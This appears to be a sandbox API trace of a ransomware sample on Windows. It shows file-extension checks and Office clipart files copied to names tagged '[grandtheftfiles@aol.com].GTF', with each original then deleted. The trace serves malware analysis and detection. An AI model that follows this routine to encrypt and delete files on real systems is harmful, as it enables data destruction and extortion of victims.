	[0180.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.552] lstrlenW (lpString=".1cd") returned 4
	[0180.552] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.552] lstrlenW (lpString=".jpg") returned 4
	[0180.552] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.552] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0180.552] lstrlenW (lpString="J0178632.JPG") returned 12
	[0180.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0181.006] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=23338) returned 1
	[0181.006] CloseHandle (hObject=0x540) returned 1
	[0181.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg")) returned 0x220
	[0181.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0181.692] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.692] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.882] GetLastError () returned 0x0
	[0181.889] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x5b2a, lpOverlapped=0x0) returned 1
	[0181.905] WriteFile (in: hFile=0x554, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x5b30, lpOverlapped=0x0) returned 1
	[0181.906] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.906] WriteFile (in: hFile=0x554, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.906] SetEndOfFile (hFile=0x554) returned 1
	[0181.906] CloseHandle (hObject=0x554) returned 1
	[0181.907] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.907] SetEndOfFile (hFile=0x544) returned 1
	[0181.910] CloseHandle (hObject=0x544) returned 1
	[0181.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg")) returned 1
	[0181.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.911] lstrlenW (lpString=".doc") returned 4
	[0181.911] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.911] lstrlenW (lpString=".docx") returned 5
	[0181.911] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0181.911] lstrlenW (lpString=".pdf") returned 4
	[0181.911] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.911] lstrlenW (lpString=".xls") returned 4
	[0181.911] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.911] lstrlenW (lpString=".xlsx") returned 5
	[0181.911] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0181.911] lstrlenW (lpString=".ppt") returned 4
	[0181.911] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.912] lstrlenW (lpString=".zip") returned 4
	[0181.912] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.912] lstrlenW (lpString=".rar") returned 4
	[0181.912] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.912] lstrlenW (lpString=".bz2") returned 4
	[0181.912] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.912] lstrlenW (lpString=".7z") returned 3
	[0181.912] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.912] lstrlenW (lpString=".dbf") returned 4
	[0181.912] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.912] lstrlenW (lpString=".1cd") returned 4
	[0181.912] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.912] lstrlenW (lpString=".jpg") returned 4
	[0181.912] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.912] lstrlenW (lpString=".doc") returned 4
	[0181.912] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.912] lstrlenW (lpString=".docx") returned 5
	[0181.912] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0181.912] lstrlenW (lpString=".pdf") returned 4
	[0181.912] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.912] lstrlenW (lpString=".xls") returned 4
	[0181.912] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.912] lstrlenW (lpString=".xlsx") returned 5
	[0181.912] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0181.912] lstrlenW (lpString=".ppt") returned 4
	[0181.912] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.912] lstrlenW (lpString=".zip") returned 4
	[0181.912] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.912] lstrlenW (lpString=".rar") returned 4
	[0181.913] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.913] lstrlenW (lpString=".bz2") returned 4
	[0181.913] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.913] lstrlenW (lpString=".7z") returned 3
	[0181.913] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.913] lstrlenW (lpString=".dbf") returned 4
	[0181.913] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.913] lstrlenW (lpString=".1cd") returned 4
	[0181.913] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68
	[0181.913] lstrlenW (lpString=".jpg") returned 4
	[0181.913] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.913] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0181.913] lstrlenW (lpString="J0182946.WMF") returned 12
	[0181.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0181.914] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=16082) returned 1
	[0181.914] CloseHandle (hObject=0x544) returned 1
	[0181.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf")) returned 0x220
	[0181.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0181.914] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.914] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.915] GetLastError () returned 0x0
	[0181.915] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x3ed2, lpOverlapped=0x0) returned 1
	[0181.917] WriteFile (in: hFile=0x554, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3ee0, lpOverlapped=0x0) returned 1
	[0181.918] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.918] WriteFile (in: hFile=0x554, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.918] SetEndOfFile (hFile=0x554) returned 1
	[0181.918] CloseHandle (hObject=0x554) returned 1
	[0181.918] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.918] SetEndOfFile (hFile=0x544) returned 1
	[0181.921] CloseHandle (hObject=0x544) returned 1
	[0181.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf")) returned 1
	[0181.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.922] lstrlenW (lpString=".doc") returned 4
	[0181.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.922] lstrlenW (lpString=".docx") returned 5
	[0181.922] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0181.922] lstrlenW (lpString=".pdf") returned 4
	[0181.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.922] lstrlenW (lpString=".xls") returned 4
	[0181.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.922] lstrlenW (lpString=".xlsx") returned 5
	[0181.922] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0181.922] lstrlenW (lpString=".ppt") returned 4
	[0181.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.922] lstrlenW (lpString=".zip") returned 4
	[0181.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.922] lstrlenW (lpString=".rar") returned 4
	[0181.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.922] lstrlenW (lpString=".bz2") returned 4
	[0181.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.923] lstrlenW (lpString=".7z") returned 3
	[0181.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.923] lstrlenW (lpString=".dbf") returned 4
	[0181.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.923] lstrlenW (lpString=".1cd") returned 4
	[0181.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.923] lstrlenW (lpString=".jpg") returned 4
	[0181.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.923] lstrlenW (lpString=".doc") returned 4
	[0181.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.923] lstrlenW (lpString=".docx") returned 5
	[0181.923] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0181.923] lstrlenW (lpString=".pdf") returned 4
	[0181.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.923] lstrlenW (lpString=".xls") returned 4
	[0181.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.923] lstrlenW (lpString=".xlsx") returned 5
	[0181.923] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0181.923] lstrlenW (lpString=".ppt") returned 4
	[0181.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.923] lstrlenW (lpString=".zip") returned 4
	[0181.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.923] lstrlenW (lpString=".rar") returned 4
	[0181.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.923] lstrlenW (lpString=".bz2") returned 4
	[0181.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.923] lstrlenW (lpString=".7z") returned 3
	[0181.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.924] lstrlenW (lpString=".dbf") returned 4
	[0181.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.924] lstrlenW (lpString=".1cd") returned 4
	[0181.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68
	[0181.924] lstrlenW (lpString=".jpg") returned 4
	[0181.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.924] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0181.924] lstrlenW (lpString="J0183172.WMF") returned 12
	[0181.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0181.925] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=29788) returned 1
	[0181.925] CloseHandle (hObject=0x544) returned 1
	[0181.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf")) returned 0x220
	[0181.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0181.926] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.926] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.927] GetLastError () returned 0x0
	[0181.927] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x745c, lpOverlapped=0x0) returned 1
	[0181.929] WriteFile (in: hFile=0x554, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x7460, lpOverlapped=0x0) returned 1
	[0181.931] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.931] WriteFile (in: hFile=0x554, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.931] SetEndOfFile (hFile=0x554) returned 1
	[0181.931] CloseHandle (hObject=0x554) returned 1
	[0181.931] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.931] SetEndOfFile (hFile=0x544) returned 1
	[0182.266] CloseHandle (hObject=0x544) returned 1
	[0182.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf")) returned 1
	[0182.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.267] lstrlenW (lpString=".doc") returned 4
	[0182.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.267] lstrlenW (lpString=".docx") returned 5
	[0182.267] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0182.267] lstrlenW (lpString=".pdf") returned 4
	[0182.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.267] lstrlenW (lpString=".xls") returned 4
	[0182.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.267] lstrlenW (lpString=".xlsx") returned 5
	[0182.267] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0182.268] lstrlenW (lpString=".ppt") returned 4
	[0182.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.268] lstrlenW (lpString=".zip") returned 4
	[0182.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.268] lstrlenW (lpString=".rar") returned 4
	[0182.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.268] lstrlenW (lpString=".bz2") returned 4
	[0182.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.268] lstrlenW (lpString=".7z") returned 3
	[0182.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.268] lstrlenW (lpString=".dbf") returned 4
	[0182.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.268] lstrlenW (lpString=".1cd") returned 4
	[0182.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.268] lstrlenW (lpString=".jpg") returned 4
	[0182.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.268] lstrlenW (lpString=".doc") returned 4
	[0182.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.268] lstrlenW (lpString=".docx") returned 5
	[0182.268] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0182.268] lstrlenW (lpString=".pdf") returned 4
	[0182.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.268] lstrlenW (lpString=".xls") returned 4
	[0182.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.268] lstrlenW (lpString=".xlsx") returned 5
	[0182.270] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0182.270] lstrlenW (lpString=".ppt") returned 4
	[0182.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.270] lstrlenW (lpString=".zip") returned 4
	[0182.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.270] lstrlenW (lpString=".rar") returned 4
	[0182.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.270] lstrlenW (lpString=".bz2") returned 4
	[0182.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.270] lstrlenW (lpString=".7z") returned 3
	[0182.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68
	[0182.270] lstrlenW (lpString=".dbf") returned 4
	[0182.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
